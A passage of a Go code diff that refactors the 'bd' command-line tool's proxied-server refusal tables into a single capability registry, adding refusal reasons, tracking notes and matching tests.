} + row, ok := LookupCapabilityRow(path, argSet) + if !ok { + t.Errorf("%s refuses %q inside RunE with no registry row; the front door and the command disagree about what bd supports", + file, strings.TrimSpace(path+" "+argSet)) + continue + } + if row.Rule.Outcome == ProxyOutcomeHonored { + t.Errorf("%s refuses %q inside RunE, but the registry says the front door honors it", file, row.display()) + } + } + + for _, row := range proxyCapabilityRegistry { + if row.Rule.Outcome != ProxyOutcomeRefusedInRunE { + continue + } + if _, ok := found[row.Path]; !ok { + t.Errorf("%s is recorded as an untyped RunE refusal but no such refusal exists in the package any more (%s); "+ + "flip the row to its new outcome", row.display(), row.Note) + } + } +} + +func inlineRefusalPath(message string) (string, bool) { + if path, ok := inlineProxiedMessages[message]; ok { + return path, true + } + path, ok := strings.CutSuffix(message, " is not supported in proxied-server mode") + if !ok { + return "", false + } + // conflicts.go says "bd conflicts ..."; the registry keys on the path. + return strings.TrimPrefix(path, "bd "), true +} + +// TestProxyCapabilityRegistryReasonsAreAssignedIndividually guards the one way +// this registry could become useless while staying green: reasons assigned in +// bulk. Every later slice reads these to decide what is left to do, so both +// values have to be genuinely represented, and the design refusals — the claim +// a reviewer will challenge — are listed here by name. +func TestProxyCapabilityRegistryReasonsAreAssignedIndividually(t *testing.T) { + wantDesign := map[string]bool{ + "branch": true, "diff": true, "flatten": true, + "conflicts": true, "conflicts list": true, "conflicts show": true, "conflicts resolve": true, + "vc": true, "vc merge": true, "vc commit": true, "vc status": true, + "federation": true, "federation sync": true, "federation status": true, + "federation add-peer": true, "federation remove-peer": true, "federation list-peers": true, + "repo": true, "repo add": true, "repo remove": true, "repo list": true, "repo sync": true, + // `migrate hooks` is deliberately NOT here: it migrates git hook files + // and opens no store, so the surgery rationale the rest of this block + // rests on does not describe it. Its refusal is structural — the + // command is on none of main.go's store-init skip lists — which makes + // it unimplemented with a tracking item, not design. + "migrate": true, "migrate sync": true, "migrate issues": true, + "migrate-issues": true, "migrate-personal": true, + "admin cleanup": true, "admin reset": true, + } + + gotDesign := map[string]bool{} + unimplemented := 0 + for _, row := range proxyCapabilityRegistry { + switch row.Rule.Reason { + case ProxyReasonDesign: + gotDesign[row.display()] = true + case ProxyReasonUnimplemented: + unimplemented++ + } + } + + for path := range wantDesign { + if !gotDesign[path] { + t.Errorf("%q is no longer refused by design; if that is intended, update this test and say why in the PR", path) + } + } + for path := range gotDesign { + if !wantDesign[path] { + t.Errorf("%q claims Reason=design and is not in the reviewed list; a design refusal is a semantic claim that needs review", path) + } + } + if unimplemented == 0 { + t.Error("no unimplemented refusals left — either the work is done or the reasons were bulk-assigned") + } +} + +// TestProxyCapabilityArgSetFallsBackToBarePath pins the lookup rule that lets +// one table carry both the path policy and the flag policy: a flag combination +// with no row of its own inherits the bare path's verdict rather than escaping +// it. Written against the real command tree so it exercises the flags these +// commands actually declare. +func TestProxyCapabilityArgSetFallsBackToBarePath(t *testing.T) { + for _, tc := range []struct { + path string + flags []string + want ProxyCapabilityOutcome + wantMsg string + }{ + // Covered by an explicit row: the message names the flags. + {"rename-prefix", []string{"dry-run"}, ProxyOutcomeRefused, "rename-prefix --dry-run is not supported in proxied-server mode"}, + // No row for this combination: it inherits the refused bare row rather + // than slipping past the gate. + {"rename-prefix", []string{"dry-run", "auto-merge"}, ProxyOutcomeRefused, "rename-prefix is not supported in proxied-server mode"}, + // Inheriting an honored bare row is equally load-bearing: this is the + // read-only preview and it must keep working. + {"duplicates", []string{"dry-run"}, ProxyOutcomeHonored, ""}, + } { + t.Run(tc.path+" "+strings.Join(tc.flags, " "), func(t *testing.T) { + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: tc.path} + root.AddCommand(cmd) + for _, flag := range tc.flags { + cmd.Flags().Bool(flag, false, "") + if err := cmd.Flags().Set(flag, "true"); err != nil { + t.Fatal(err) + } + } + row, ok := capabilityRowFor(cmd) + if !ok { + t.Fatalf("no row resolved for %q with %v", tc.path, tc.flags) + } + if row.Rule.Outcome != tc.want || row.Rule.Message != tc.wantMsg { + t.Fatalf("row = outcome %q message %q, want %q / %q", + row.Rule.Outcome, row.Rule.Message, tc.want, tc.wantMsg) + } + }) + } +} + +// TestProxyRefusalJSONCarriesReason pins the additive half of the JSON +// contract. {code, error, mutates} is frozen and parsed downstream; reason is +// new, and it must appear without disturbing the three fields that were already +// there. +func TestProxyRefusalJSONCarriesReason(t *testing.T) { + t.Setenv("BD_JSON_ENVELOPE", "") + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + for _, tc := range []struct { + path, code string + reason ProxyRefusalReason + }{ + {"branch", "proxy.branch.unsupported", ProxyReasonDesign}, + {"sync", "proxy.sync.unsupported", ProxyReasonUnimplemented}, + } { + t.Run(tc.path, func(t *testing.T) { + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: tc.path} + root.AddCommand(cmd) + out := captureStdout(t, func() error { + _ = validateProxyRegistryBeforeProvider(cmd) + return nil + }) + for _, want := range []string{ + `"code": "` + tc.code + `"`, + `"error": "` + tc.path + ` is not supported in proxied-server mode"`, + `"mutates": false`, + `"reason": "` + string(tc.reason) + `"`, + } { + if !strings.Contains(out, want) { + t.Fatalf("refusal JSON missing %s:\n%s", want, out) + } + } + }) + } +} + +// TestProxiedStoreUnroutedIsTyped covers the backstop: a permitted command with +// no proxied route used to die with a bare string that no consumer could tell +// from a real store failure. +func TestProxiedStoreUnroutedIsTyped(t *testing.T) { + var typed *ProxyCapabilityError + err := errProxiedStoreUnrouted() + if !errors.As(err, &typed) { + t.Fatalf("store backstop error = %#v, want *ProxyCapabilityError", err) + } + if typed.Code != "proxy.store.unrouted" || typed.ExitCode != 1 || typed.Mutates { + t.Fatalf("store backstop = %#v", typed) + } + if typed.Reason != ProxyReasonUnimplemented { + t.Fatalf("store backstop reason = %q, want unimplemented", typed.Reason) + } +} diff --git a/cmd/bd/transform_capability_test.go b/cmd/bd/capability_registry_transform_test.go similarity index 88% rename from cmd/bd/transform_capability_test.go rename to cmd/bd/capability_registry_transform_test.go index 913b4d39f..86ed302b4 100644 --- a/cmd/bd/transform_capability_test.go +++ b/cmd/bd/capability_registry_transform_test.go @@ -58,24 +58,25 @@ func TestProxyTransformCapabilityRows(t *testing.T) { } } } - row, ok := lookupTransformCapability(cmd) + row, ok := capabilityRowFor(cmd) if !ok { t.Fatalf("lookup(%q, %q) missing row", tc.path, tc.argument) } - if row.Path != tc.path || row.Argument != tc.argument || row.Outcome != tc.outcome { + if row.Path != tc.path || row.ArgSet != tc.argument || row.Rule.Outcome != tc.outcome { t.Fatalf("row = %#v, want path=%q argument=%q outcome=%q", row, tc.path, tc.argument, tc.outcome) } if tc.outcome == ProxyOutcomeRefused { - if row.Code != tc.code || row.Message != tc.message || row.ExitCode != tc.exit || row.Mutates != tc.mutates { - t.Fatalf("refusal fields = code=%q message=%q exit=%d mutates=%t", row.Code, row.Message, row.ExitCode, row.Mutates) + if row.Rule.Code != tc.code || row.Rule.Message != tc.message || row.Rule.ExitCode != tc.exit || row.Rule.Mutates != tc.mutates { + t.Fatalf("refusal fields = code=%q message=%q exit=%d mutates=%t", + row.Rule.Code, row.Rule.Message, row.Rule.ExitCode, row.Rule.Mutates) } - typed := transformCapabilityError(row) + var typed error = proxyCapabilityErrorFor(row.Rule) var got *ProxyCapabilityError if !errors.As(typed, &got) || got.Code != tc.code || got.ExitCode != 1 || got.Mutates { t.Fatalf("typed refusal = %#v", typed) } } - if err := validateProxyTransformBeforeProvider(cmd); tc.outcome == ProxyOutcomeHonored && err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); tc.outcome == ProxyOutcomeHonored && err != nil { t.Fatalf("honored transform refused: %v", err) } }) @@ -85,11 +86,11 @@ func TestProxyTransformCapabilityRows(t *testing.T) { func TestProxyDuplicatesAutoMergeDryRunMatrix(t *testing.T) { cmd := transformTestCommand("duplicates", "auto-merge", "dry-run") _ = cmd.Flags().Set("auto-merge", "true") - if err := validateProxyTransformBeforeProvider(cmd); err == nil { + if err := validateProxyRegistryBeforeProvider(cmd); err == nil { t.Fatalf("non-dry auto-merge error = %v", err) } _ = cmd.Flags().Set("dry-run", "true") - if err := validateProxyTransformBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); err != nil { t.Fatalf("dry-run auto-merge refused: %v", err) } } @@ -103,7 +104,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = false var textErr string stderr := captureStderr(t, func() { - err := validateProxyTransformBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if code, ok := exitCodeFromError(err); !ok || code != 1 { t.Fatalf("exit = %v, want 1", err) } @@ -115,7 +116,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = true stdout := captureStdout(t, func() error { - _ = validateProxyTransformBeforeProvider(cmd) + _ = validateProxyRegistryBeforeProvider(cmd) return nil }) var envelope map[string]any @@ -140,8 +141,8 @@ func TestProxyTransformMatcherIgnoresInheritedOutputFlags(t *testing.T) { if err := root.PersistentFlags().Set("json", "true"); err != nil { t.Fatal(err) } - row, ok := lookupTransformCapability(cmd) - if !ok || row.Argument != "--auto-merge" || row.Outcome != ProxyOutcomeRefused { + row, ok := capabilityRowFor(cmd) + if !ok || row.ArgSet != "--auto-merge" || row.Rule.Outcome != ProxyOutcomeRefused { t.Fatalf("row with inherited --json = %#v, ok=%v", row, ok) } } @@ -163,7 +164,7 @@ func TestProxyTransformRefusalHasNoProviderOrFileMutation(t *testing.T) { t.Cleanup(func() { uowProvider = oldProvider }) cmd := transformTestCommand("supersede") - err := validateProxyTransformBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if err == nil { t.Fatal("expected transform refusal") } diff --git a/cmd/bd/errors.go b/cmd/bd/errors.go index 80ff1b5b3..bf753777b 100644 --- a/cmd/bd/errors.go +++ b/cmd/bd/errors.go @@ -76,8 +76,16 @@ func buildJSONError(message, hint string) interface{} { return inner } +// buildJSONCapabilityError renders a typed refusal. {code, error, mutates} is a +// frozen contract that downstream consumers parse; `reason` is additive and +// appears only on refusals that came from the capability registry, which is why +// it is omitted rather than emitted empty — a consumer that keys on its presence +// must not be told "" by a runtime state error that has no policy reason. func buildJSONCapabilityError(e *ProxyCapabilityError) interface{} { inner := map[string]interface{}{"error": e.Message, "code": e.Code, "mutates": e.Mutates} + if e.Reason != "" { + inner["reason"] = string(e.Reason) + } if jsonEnvelopeEnabled() { return map[string]interface{}{"schema_version": JSONSchemaVersion, "data": inner} } diff --git a/cmd/bd/history_capability.go b/cmd/bd/history_capability.go deleted file mode 100644 index c3e5fd3f7..000000000 --- a/cmd/bd/history_capability.go +++ /dev/null @@ -1,28 +0,0 @@ -package main - -// HistoryCapabilityClass classifies history/version-control commands on the -// proxied topology without coupling them to a particular backend engine. -type HistoryCapabilityClass string - -const ( - HistoryProxySupported HistoryCapabilityClass = "proxy-supported" - HistoryProxyAPI HistoryCapabilityClass = "proxy-api" - HistoryDirectOnly HistoryCapabilityClass = "direct-only" -) - -var historyCapabilityMatrix = map[string]HistoryCapabilityClass{ - "history": HistoryProxySupported, - "branch": HistoryDirectOnly, "conflicts": HistoryDirectOnly, "repo": HistoryDirectOnly, - "federation": HistoryDirectOnly, "vc": HistoryDirectOnly, "flatten": HistoryDirectOnly, - "dolt push": HistoryDirectOnly, "dolt pull": HistoryDirectOnly, "dolt commit": HistoryDirectOnly, - "dolt remote": HistoryDirectOnly, "dolt remote add": HistoryDirectOnly, "dolt remote list": HistoryDirectOnly, - "dolt remote reset-data": HistoryDirectOnly, "dolt remote remove": HistoryProxySupported, - "sync": HistoryDirectOnly, -} - -// LookupHistoryCapability classifies an exact command path. Unknown paths are -// intentionally absent so callers cannot accidentally advertise support. -func LookupHistoryCapability(commandPath string) (HistoryCapabilityClass, bool) { - c, ok := historyCapabilityMatrix[commandPath] - return c, ok -} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index e68d7b02d..eadf17e25 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -229,13 +229,6 @@ func effectiveRootStorePolicy(cmdName string, strictReadonly bool) rootStorePoli } } -// backendSupportsStrictReadonly reports whether the live backend path can open -// without provisioning or lifecycle changes. Unsupported SQL backends are -// rejected earlier by validateConfiguredBackend; proxied Dolt remains writable-only. -func backendSupportsStrictReadonly(cfg *configfile.Config) bool { - return cfg == nil || !cfg.IsDoltProxiedServerMode() -} - // runsPostCommandMaintenance reports whether PersistentPostRunE should run the // post-command maintenance net — Dolt auto-commit, the tip-metadata commit, // auto-backup, auto-export and auto-push. @@ -1281,11 +1274,11 @@ var rootCmd = &cobra.Command{ } } if cmdName == "doctor" && usesProxiedServer() { - // Refuse only on a real refusal. validateProxyMaintenance... + // Refuse only on a real refusal. The registry validator // returns nil for doctor subcommands, and returning early on // that would skip the legacy-store guard and autocommit-mode // resolution every other skipsStoreInit command still runs. - if err := validateProxyMaintenanceBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); err != nil { return err } } @@ -1492,14 +1485,13 @@ var rootCmd = &cobra.Command{ } // Reject proxy capability combinations before any workspace side effect // (version tracking, migration, auto-start, or provider construction). + // Two validators, one for each half of the policy: flag-keyed rules and + // the path-keyed capability registry. if cfg != nil && cfg.IsDoltProxiedServerMode() { if err := validateProxyCapabilitiesBeforeProvider(cmd); err != nil { return err } - if err := validateProxyMaintenanceBeforeProvider(cmd); err != nil { - return err - } - if err := validateProxyTransformBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd); err != nil { return err } } @@ -1510,9 +1502,6 @@ var rootCmd = &cobra.Command{ if readonlyMode && cfg != nil && cfg.IsDoltProxiedServerMode() { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapReadonly)) } - if readonlyMode && !backendSupportsStrictReadonly(cfg) { - return HandleError("strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access") - } // Set actor for audit trail actor = getActorWithGit() diff --git a/cmd/bd/migrate_dolt_mode.go b/cmd/bd/migrate_dolt_mode.go index 387624e93..684212738 100644 --- a/cmd/bd/migrate_dolt_mode.go +++ b/cmd/bd/migrate_dolt_mode.go @@ -199,12 +199,17 @@ func migrateFault(phase migratePhase) error { return nil } +// externalMigrationRefusal is a policy refusal rather than a registry row: it +// depends on the workspace's endpoint, not on which command was typed. The +// reason is design because someone else owns that endpoint and its schema — +// no amount of plumbing on this side makes migrating it bd's business. func externalMigrationRefusal(message string) error { return HandleProxyCapabilityError(&ProxyCapabilityError{ Code: "proxy.migrate.external_endpoint", Message: message, ExitCode: 1, Mutates: false, + Reason: ProxyReasonDesign, }) } diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 8c188183e..774323944 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -2,7 +2,6 @@ package main import ( "fmt" - "strings" "github.com/spf13/cobra" ) @@ -47,17 +46,24 @@ const ( ProxyOutcomeRefused ProxyCapabilityOutcome = "refused" ProxyOutcomeDelegated ProxyCapabilityOutcome = "delegated" ProxyOutcomeNA ProxyCapabilityOutcome = "N/A" + // ProxyOutcomeRefusedInRunE records a path the gate permits and that the + // command then refuses itself, untyped, from RunE. It is inventory, not + // policy: nothing enforces it. See capability_registry.go. + ProxyOutcomeRefusedInRunE ProxyCapabilityOutcome = "refused-in-run" ) // proxyCapabilityRule is the stable contract for one command/argument/topology // capability. Mutates is false for all refusals; ExitCode is used by the CLI -// when rendering a typed refusal. +// when rendering a typed refusal. Reason and Tracking say why a refusal exists +// and who closes it — see the header of capability_registry.go. type proxyCapabilityRule struct { Outcome ProxyCapabilityOutcome Code string Message string ExitCode int Mutates bool + Reason ProxyRefusalReason + Tracking string } // ProxyCapabilityError is a machine-identifiable front-door refusal. @@ -66,12 +72,39 @@ type ProxyCapabilityError struct { Message string ExitCode int Mutates bool + Reason ProxyRefusalReason } func (e *ProxyCapabilityError) Error() string { return e.Message } -func refused(code, message string) proxyCapabilityRule { - return proxyCapabilityRule{Outcome: ProxyOutcomeRefused, Code: code, Message: message, ExitCode: 1} +// errProxiedStoreUnrouted is the backstop for a command that the front door +// permitted and that then asked for a classic store on a proxied-server +// workspace. The proxied topology has no such store — the provider owns the +// connection — so the factory refuses rather than opening the proxied root a +// second time behind the proxy's back, which is the one failure mode every +// slice of this work must not regress. +// +// Reaching this is a routing gap in the command, not a policy decision: the +// registry says the gate permits the path, and permitting a path is not a +// promise that a proxied route exists for it. The owner is therefore whichever +// slice routes the command that landed here, which is why the reason is +// "unimplemented" and no single tracking item fits. It is typed so that a +// caller can classify it; before the registry there was no way to tell this +// apart from a genuine store failure. +func errProxiedStoreUnrouted() error { + return &ProxyCapabilityError{ + Code: "proxy.store.unrouted", + Message: "this command has no proxied-server route; bd will not open a proxied-server workspace as a direct store", + ExitCode: 1, + Reason: ProxyReasonUnimplemented, + } +} + +func refused(code, message string, reason ProxyRefusalReason, tracking string) proxyCapabilityRule { + return proxyCapabilityRule{ + Outcome: ProxyOutcomeRefused, Code: code, Message: message, ExitCode: 1, + Reason: reason, Tracking: tracking, + } } func honored() proxyCapabilityRule { @@ -97,104 +130,6 @@ type ProxyCapabilityRow struct { Rule proxyCapabilityRule } -var proxyMaintenanceRefusals = map[string]proxyCapabilityRule{ - "doctor": refused("proxy.doctor.unsupported", "doctor is not supported in proxied-server mode"), - "backup": refused("proxy.backup.unsupported", "backup is not supported in proxied-server mode"), - "restore": refused("proxy.restore.unsupported", "restore is not supported in proxied-server mode"), - "diff": refused("proxy.diff.unsupported", "diff is not supported in proxied-server mode"), - "flatten": refused("proxy.flatten.unsupported", "flatten is not supported in proxied-server mode"), - "migrate": refused("proxy.migrate.unsupported", "migrate is not supported in proxied-server mode"), - "migrate-personal": refused("proxy.migrate.unsupported", "migrate-personal is not supported in proxied-server mode"), - "branch": refused("proxy.branch.unsupported", "branch is not supported in proxied-server mode"), - "conflicts": refused("proxy.conflicts.unsupported", "conflicts is not supported in proxied-server mode"), - "vc": refused("proxy.vc.unsupported", "vc is not supported in proxied-server mode"), - "federation": refused("proxy.federation.unsupported", "federation is not supported in proxied-server mode"), - "repo": refused("proxy.repo.unsupported", "repo is not supported in proxied-server mode"), - // Wording matches the long-standing compact.go refusal this pre-provider - // gate now short-circuits, so the user-facing message does not change. - "compact": refused("proxy.compact.unsupported", "only 'compact --dolt' is supported in proxied-server mode"), - "backup init": refused("proxy.backup.unsupported", "backup init is not supported in proxied-server mode"), - "backup sync": refused("proxy.backup.unsupported", "backup sync is not supported in proxied-server mode"), - "backup remove": refused("proxy.backup.unsupported", "backup remove is not supported in proxied-server mode"), - "backup status": refused("proxy.backup.unsupported", "backup status is not supported in proxied-server mode"), - "backup restore": refused("proxy.backup.unsupported", "backup restore is not supported in proxied-server mode"), - "migrate sync": refused("proxy.migrate.unsupported", "migrate sync is not supported in proxied-server mode"), - "migrate-issues": refused("proxy.migrate.unsupported", "migrate-issues is not supported in proxied-server mode"), - "gate discover": refused("proxy.gate.unsupported", "gate discover is not supported in proxied-server mode"), - "admin cleanup": refused("proxy.admin.unsupported", "admin cleanup is not supported in proxied-server mode"), - "admin reset": refused("proxy.admin.unsupported", "admin reset is not supported in proxied-server mode"), - "dolt push": refused("proxy.dolt_push.unsupported", "dolt push is not supported in proxied-server mode"), - "dolt pull": refused("proxy.dolt_pull.unsupported", "dolt pull is not supported in proxied-server mode"), - "dolt commit": refused("proxy.dolt_commit.unsupported", "dolt commit is not supported in proxied-server mode"), - "dolt remote": refused("proxy.dolt_remote.unsupported", "dolt remote is not supported in proxied-server mode"), - "dolt remote add": refused("proxy.dolt_remote.unsupported", "dolt remote add is not supported in proxied-server mode"), - "dolt remote list": refused("proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode"), - "cook": refused("proxy.formula.unsupported", "cook is not supported in proxied-server mode"), - "ship": refused("proxy.formula.unsupported", "ship is not supported in proxied-server mode"), - "swarm create": refused("proxy.swarm.unsupported", "swarm create is not supported in proxied-server mode"), - "swarm list": refused("proxy.swarm.unsupported", "swarm list is not supported in proxied-server mode"), - "merge-slot create": refused("proxy.merge_slot.unsupported", "merge-slot create is not supported in proxied-server mode"), - "merge-slot check": refused("proxy.merge_slot.unsupported", "merge-slot check is not supported in proxied-server mode"), - "merge-slot acquire": refused("proxy.merge_slot.unsupported", "merge-slot acquire is not supported in proxied-server mode"), - "merge-slot release": refused("proxy.merge_slot.unsupported", "merge-slot release is not supported in proxied-server mode"), - "dolt remote reset-data": refused("proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode"), - "sync": refused("proxy.sync.unsupported", "sync is not supported in proxied-server mode"), -} - -func init() { - for parent, children := range map[string][]string{ - "vc": {"merge", "commit", "status"}, - "federation": {"sync", "status", "add-peer", "remove-peer", "list-peers"}, - "repo": {"add", "remove", "list", "sync"}, - "conflicts": {"list", "show", "resolve"}, - "migrate": {"hooks", "issues"}, - } { - rule := proxyMaintenanceRefusals[parent] - for _, child := range children { - path := parent + " " + child - proxyMaintenanceRefusals[path] = refused(rule.Code, path+" is not supported in proxied-server mode") - } - } -} - -// validateProxyMaintenanceBeforeProvider rejects known direct-only commands -// before migrations, auto-start, or provider construction. -func validateProxyMaintenanceBeforeProvider(cmd *cobra.Command) error { - if cmd == nil { - return nil - } - name := cmd.Name() - path := strings.TrimSpace(strings.TrimPrefix(cmd.CommandPath(), cmd.Root().Name())) - if name == "compact" { - if cmd.Flags().Lookup("dolt") == nil { - return nil // root `bd compact` is the Dolt history command - } - dolt, _ := cmd.Flags().GetBool("dolt") - if dolt { - return nil - } - rule := proxyMaintenanceRefusals["compact"] - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode}) - } - if rule, ok := proxyMaintenanceRefusals[path]; ok { - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode}) - } - if class, ok := LookupHistoryCapability(path); ok && class == HistoryDirectOnly { - rule := refused("proxy.history.unsupported", path+" is not supported in proxied-server mode") - if specific, found := proxyMaintenanceRefusals[path]; found { - rule = specific - } - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode, Mutates: rule.Mutates}) - } - if strings.Contains(path, " ") { - return nil - } - if rule, ok := proxyMaintenanceRefusals[name]; ok { - return HandleProxyCapabilityError(&ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode}) - } - return nil -} - // LookupProxyCapabilityFor returns the command/argument-specific rule. An // absent command row falls back to the topology-wide default. func LookupProxyCapabilityFor(command, argument string, mode ProxyMode) (proxyCapabilityRule, bool) { @@ -212,26 +147,50 @@ func LookupProxyCapabilityFor(command, argument string, mode ProxyMode) (proxyCa return LookupProxyCapability(mode, capability) } +// Shared by the mode-wide rule and its per-command overrides, so a command that +// refuses one of these refuses it with the same words and the same reason. +var ( + // The cap is refused rather than silently dropped, which is right; the fix + // is threading it through the UOW reader the way `list` already does, so + // the refusal itself is the gap. + maxRowsRefusal = refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) + // `list --watch` is routed, so watching is possible over the provider; + // nothing else has been wired to it. + watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) +) + +// proxyCapabilityMatrix is the flag-keyed half of the policy; the path-keyed +// half is the registry in capability_registry.go. Reasons follow the same rule +// there and here. +// +// Strict --readonly is the one capability that needs real backend work rather +// than routing: it is a GUARANTEE, the proxied provider carries no read-only +// posture, and the only honest implementation is a read-only SQL principal on +// the backend — which on external topologies is the operator's configuration, +// not bd's. A best-effort version would betray exactly the workflows that ask +// for it, so it is refused by design until that principal exists. --repo is +// design for a simpler reason: it routes to another workspace, bypassing the +// proxied root entirely. var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ ProxyModeDirect: { ProxyCapReadonly: honored(), ProxyCapMaxRows: honored(), ProxyCapWatch: honored(), ProxyCapRepo: honored(), }, ProxyModeProxied: { - ProxyCapReadonly: refused("proxy.readonly.unsupported", "strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access"), - ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode"), - ProxyCapWatch: refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode"), - ProxyCapRepo: refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server"), + ProxyCapReadonly: refused("proxy.readonly.unsupported", "strict readonly is unavailable for dolt proxied-server backend; refusing to open a store that cannot guarantee mutation-free access", ProxyReasonDesign, "1.4 candidate: read-only SQL principal on the backend"), + ProxyCapMaxRows: maxRowsRefusal, + ProxyCapWatch: watchRefusal, + ProxyCapRepo: refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server", ProxyReasonDesign, ""), }, } var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ - "show": {ProxyModeProxied: {ProxyCapWatch: refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode")}}, + "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, - "ready": {ProxyModeProxied: {ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode")}}, - "graph": {ProxyModeProxied: {ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode")}}, - "find-duplicates": {ProxyModeProxied: {ProxyCapMaxRows: refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode")}}, + "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, + "graph": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, + "find-duplicates": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, } // proxyCapabilityRows materializes the policy for every supported proxied @@ -305,7 +264,7 @@ func AssertProxyCommandCapability(command string, mode ProxyMode, capability Pro return nil } if rule.Code != "" { - return &ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode, Mutates: rule.Mutates} + return proxyCapabilityErrorFor(rule) } return fmt.Errorf("%s", rule.Message) } @@ -314,7 +273,7 @@ func AssertProxyCommandCapability(command string, mode ProxyMode, capability Pro rule, ok := LookupProxyCapability(mode, capability) if !ok || (rule.Outcome != ProxyOutcomeHonored && rule.Outcome != ProxyOutcomeDelegated) { if rule.Code != "" { - return &ProxyCapabilityError{Code: rule.Code, Message: rule.Message, ExitCode: rule.ExitCode, Mutates: rule.Mutates} + return proxyCapabilityErrorFor(rule) } if rule.Message != "" { return fmt.Errorf("%s", rule.Message) diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 80308e292..272d0a453 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -81,7 +81,7 @@ func TestProxyMaintenanceNestedPathsRefuseBeforeProvider(t *testing.T) { root.AddCommand(parent) parent.AddCommand(child) out := captureStdout(t, func() error { - _ = validateProxyMaintenanceBeforeProvider(child) + _ = validateProxyRegistryBeforeProvider(child) return nil }) if !strings.Contains(out, `"code":`) { @@ -101,7 +101,7 @@ func TestProxyFormulaSwarmMergeSlotRefusals(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyMaintenanceBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if err == nil { t.Fatalf("%s unexpectedly allowed", path) } @@ -139,7 +139,7 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { if !ok || row.Code != tc.code || row.Message != tc.message || row.ExitCode != 1 || row.Mutates { t.Fatalf("row = %#v, ok=%v", row, ok) } - var typed *ProxyCapabilityError = &ProxyCapabilityError{Code: row.Code, Message: row.Message, ExitCode: row.ExitCode, Mutates: row.Mutates} + typed := proxyCapabilityErrorFor(row) if typed.Code != tc.code || typed.Message != tc.message || typed.ExitCode != 1 || typed.Mutates { t.Fatalf("typed refusal = %#v", typed) } @@ -162,7 +162,7 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { oldDidWrite := commandDidWrite.Load() commandDidWrite.Store(false) t.Cleanup(func() { commandDidWrite.Store(oldDidWrite) }) - out := captureStdout(t, func() error { _ = validateProxyMaintenanceBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) var got map[string]any if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != tc.code || got["error"] != tc.message { t.Fatalf("JSON refusal = %q (%v)", out, err) @@ -181,8 +181,8 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { } func lookupProxyMaintenanceRuleForTest(path string) (proxyCapabilityRule, bool) { - rule, ok := proxyMaintenanceRefusals[path] - return rule, ok + row, ok := LookupCapabilityRow(path, "") + return row.Rule, ok } func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { @@ -199,7 +199,7 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { oldProvider := uowProvider uowProvider = nil t.Cleanup(func() { uowProvider = oldProvider }) - err := 